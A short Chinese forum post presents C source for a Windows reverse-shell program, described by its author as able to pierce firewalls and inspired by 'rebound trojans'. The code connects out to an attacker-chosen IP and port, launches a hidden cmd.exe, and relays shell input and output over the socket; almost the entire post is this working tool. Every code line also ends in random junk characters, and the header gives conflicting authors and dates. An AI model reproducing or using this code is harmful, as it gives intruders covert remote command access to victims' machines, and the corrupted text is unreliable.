Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 k8O%gO  
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/* ============================== qL/XGIxL?  
Rebound port in Windows NT a:}&v^v  
By wind,2006/7 OuV f<@a  
===============================*/ #ByrX\  
#include z-`-0@/A$  
#include GCv*a[8?n  
*."a>?D~  
#pragma comment(lib,"wsock32.lib") TY*uK  
@Xl/<S&  
void OutputShell(); g: ,*Y^T  
SOCKET sClient; n}toUqUnk\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,,CheRO  
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void main(int argc,char **argv) ]2@g 5H}M  
{ q.
Vcb!*$  
WSADATA stWsaData; Q4QF_um  
int nRet; YLFM3IaP  
SOCKADDR_IN stSaiClient,stSaiServer; [FN4_  
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if(argc != 3) wH0Ks5  
{ 2qe]1B;  
printf("Useage:\n\rRebound DestIP DestPort\n"); a@niig  
return; uM74X^U  
}
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WSAStartup(MAKEWORD(2,2),&stWsaData); sq1v._^s  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); khS >  
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stSaiClient.sin_family = AF_INET; ~pve;(e=  
stSaiClient.sin_port = htons(0); 5_E,x  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,'^^
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I>(-&YbC  
{ >w)A~ F<  
printf("Bind Socket Failed!\n"); x'hUw*  
return; PBY^m+  
} mYw9lM  
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stSaiServer.sin_family = AF_INET; {[$JiljD  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4I7;/ZgALQ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /I
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}S}9Pm,:  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /Lt Lu  
{ 1-:{&!  
printf("Connect Error!"); 'c&S%Ra[3G  
return; p!RyxB1.|  
} $hE,BeQ  
OutputShell(); 4}MZB*);0  
} 2%gLq  
 <6[P5>  
void OutputShell() ?0VETa ~m  
{ _1U7@v:<@  
char szBuff[1024]; ebmU~6v k  
SECURITY_ATTRIBUTES stSecurityAttributes; E!}~j  
OSVERSIONINFO stOsversionInfo; o%V%@q H  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $ITh)#Nj  
STARTUPINFO stStartupInfo; HqKI|^  
char *szShell; {Tl|>\[P  
PROCESS_INFORMATION stProcessInformation; f<}>*xH/k  
unsigned long lBytesRead; !K5D:x  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3tAX4DnYrq  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); v''F\V )  
stSecurityAttributes.lpSecurityDescriptor = 0; 5"o)^8!>  
stSecurityAttributes.bInheritHandle = TRUE; uszH1@g'  
siK:?A@4D  
fkWTO"f-  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @l^BW*BCo  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6O# xV:Uc<  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));

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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \o2cztl=  
stStartupInfo.wShowWindow = SW_HIDE; NAt; r  
stStartupInfo.hStdInput = hReadPipe; AW<z7BD  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /%9CR'%*c  
sV5S>*A[  
GetVersionEx(&stOsversionInfo); +!9&zYu!  
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switch(stOsversionInfo.dwPlatformId) \V/;i.ng  
{ />
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case 1: 7PG|e#  
szShell = "command.com"; G$_=rHt_%  
break; 6p1)wf.J  
default: I@9[  
szShell = "cmd.exe"; "5@k\?x"  
break; ._5"FUg  
} ^,WXvOy  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); WEVV2BJ  
/C"?Y'  
send(sClient,szMsg,77,0); %jRqrICd  
while(1) JMIS*njq^  
{ O~=|6#c  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "E/UNE6P4  
if(lBytesRead) ]v6s](CE  
{ [H&Z /.{F  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ];VJ54  
send(sClient,szBuff,lBytesRead,0); "Oj2B|:s&  
} 6-vQQ-\  
else - BE.a<  
{ bX*c-r:  
lBytesRead=recv(sClient,szBuff,1024,0); s!Y`1h{  
if(lBytesRead<=0) break; )/_T`cN  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); XEvDtDR  
} 0CFON2I  
} syR +;  
 #:st>V_h  
return; /UAcN1K!B  
}